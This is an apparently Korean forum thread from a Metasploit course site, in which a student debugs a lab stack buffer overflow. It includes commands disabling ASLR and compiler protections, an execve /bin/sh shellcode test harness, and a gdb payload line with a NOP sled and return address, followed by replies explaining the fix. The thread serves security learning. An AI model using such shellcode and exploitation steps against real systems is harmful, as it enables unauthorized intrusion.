inflearn logo
강의

강의

N
챌린지

챌린지

멘토링

멘토링

N
클립

클립

로드맵

로드맵

지식공유

메타스플로잇(Metasploit) 활용한 취약점 분석(초중급과정)

실습 - MSF를 활용한 취약점 분석 1

buffer overflow 쉘코드 실행 문제

해결된 질문

1223

seuh

작성한 질문수 7

0


안녕하세요. 취약점 분석 강의를 제대로 이해하고 싶어서 buffer overflow 공격 관련 내용을 공부하다가 막히는 부분이 있어서 질문을 남깁니다.

현재 smashing the stack for fun and profit 문서와 해커지망자를 위한 buffer oveflow attack 기초(달고나) 문서를 참고로 해서 stack 기반 buffer overflow 공격을 실습해보고 있는데요,  

버퍼에 nop, shellcode, return address까지 덮어씌우고 nop 지점으로 점프하는 것은 성공했는데요, 이후 nop타고 내려가서 EIP가 shellcode 지점까지 진행한 뒤 seg fault로 종료되어 버립니다. 혹시 제가 빠뜨린 것이나 다른 확인해볼 사항이 어떤 것이 있을까요?

실습하면서 제가 확인한 사항은 아래와 같습니다.

---------------------------------------------------------------------------------------------------------

ASLR disable 시켰고요, (sysctl -w kernel.randomize_va_space=0)

다음 옵션으로 mem proection disable 하였습니다. (gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -D_FORTIFY_SOURCE=0 -fno-plt file.c -o file)

다음 코드로 shellcode가 스택에서 실행되는 것을 확인하였습니다.

//char sh[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";
void main(void)
{
    int *ret;
    char sh[40] =
        "\x90\x90\x90\x90\x90"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";
    ret = (int*)&ret + 2;
    *ret = (int)sh;
}

취약점 코드는 메인에서 char 타입으로 배열 200개 할당후, 해당 배열에 strcpy 실행하는 코드이고요, 아래 그림은 gdb에서 break point 찍어서 디버깅해본 결과입니다.

(gdb) run `perl -e 'print "\x90"x179,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\xe0\xd1\xff\xff"'`
위와 같이 쉘코드와 return address를 인자로 넘겨서 run 실행하면...

main 함수에서 스택할당 후 sbf와 ret addr 확인main 함수에서 스택할당 후 sbf와 ret addr 확인

버퍼에 nop, shellcode, ret  덮어씌운 것 확인버퍼에 nop, shellcode, ret  덮어씌운 것 확인

main함수에서 return 이후, EIP가 nop 지점 메로리 가리키는 것 확인
main함수에서 return 이후, EIP가 nop 지점 메로리 가리키는 것 확인

nop 거쳐서 shellcode 지점에서 seg fault로 종료
nop 거쳐서 shellcode 지점에서 seg fault로 종료

아 그리고 테스트 환경은 다음과 같습니다.
root@kali:~# uname -a
Linux kali 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux

어디가 문제인지 확인 좀 부탁드릴게요. 꼭좀부탁드리겠습니다. 이것땜에 잠도 못자고 있어요..ㅜㅜㅜ

Metasploit

답변 6

1

보안프로젝트

정말 열심히 하시네요.^^ 저희 카페에 오셔서 같이 공부해요~후후.

1

seuh

안녕하세요. 쉘코드가 실행되지 않았던 원인을 찾아서 댓글을 남겨둡니다.

셸코드에서 push 명령을 (ex: push "/bin//sh" 등) 수행하면서

스택에서 실행을 기다리고 있던 나머지 쉘코드를 덮어 써버린게 원인이었습니다.

메타스플로잇 관련한 질문은 아니었지만 관심가져주셔서 감사합니다.

1

보안프로젝트

성공하셨다니 다행이네요. 강사님께 직접 이메일을 보내면 더 빠르게 답변 받으실겁니다.

0

seuh

카페 글은 종종 눈팅하고 있습니다. ^^

제가 공부하는 속도보다

새로 올라오는 컨텐츠의 속도가 더 빨라서

감당이 어렵습니다 ㅎㅎ

0

seuh

이유는 모르겠지만 어쨌든 성공했습니다.

혹시 원인을 알게되면 댓글 남겨두도로 하겠습니다.

감사합니다.

0

seuh

안녕하세요. 취약점 코드와 쉘코드 수정하면서 확인하다보니

gdb에서 돌렸을때는 성공적으로 쉘이 실행되는데

바이너리를 그냥 실행했을때는 illegal instruction 에러메시지가 뜹니다.

이로보아 운영체제에서 설정이 필요한 것으로 의심되는데요, 혹시 확인해볼 사항이 있을까요?

MSF모듈 사용하기2관련 connection timeout질문입니다

0

75

2

xp 버츄얼박스 로딩

0

99

1

kali 패키지 저장소 설치 문제

0

147

1

윈도우 8 xp 가상 하드디스크2GB가로 실행 할수있나요?

0

112

2

Windows8 이미지 다운로드

0

87

1

실습 - MSF 모듈 사용하기 2 수업 질문

0

276

3

VMware 용 WIN XP IE8 이미지 다운로드

0

452

2

공유서버관련해서 질문있어요!

0

394

1

VM웨어 버전 세팅법에 윈도우는없네요

1

510

2

VR BOX에서 네트워크 탭이 안보입니다

0

355

1

스캐너 종류가 엄청많던데...

0

432

1

kali에서 무선랜을 사용하려면 무선랜카드를 별도로 구입해야 하는지요?

0

1311

2

다른건 몰라도 이건 꼭 답변해주세요

0

376

1

쉬운말로 상대방 IPtable에서 DNS설정을 바꾼다는 말 아닌가요??

0

358

0

실슬-MSF 공격코드2는 ppt로 작성해서 올려주세요

0

349

0

실습-MSF 공격코드2 강의에서 웹서버관련 질문 드립니다...

0

337

0

10.10.10.5에 웹 서비스가 구동되어야 하는거 아닌가요??

0

353

1

제하한 질문들은 어디서 일괄적으로 확인할수 있나요???

0

292

0

메타스플로잇 사용 기본포트도 가능한가요??

0

402

1

한두대면 복사해서 붙여넣기가 좋지만

0

541

1

스캔된 결과값을 .csv 파일로 변환해서 엑셀해서 가공할수있나요???

0

727

1

win7 공유폴더

0

217

0

XP 실습 이미지 질문

0

294

1

환경설정 관련

0

216

1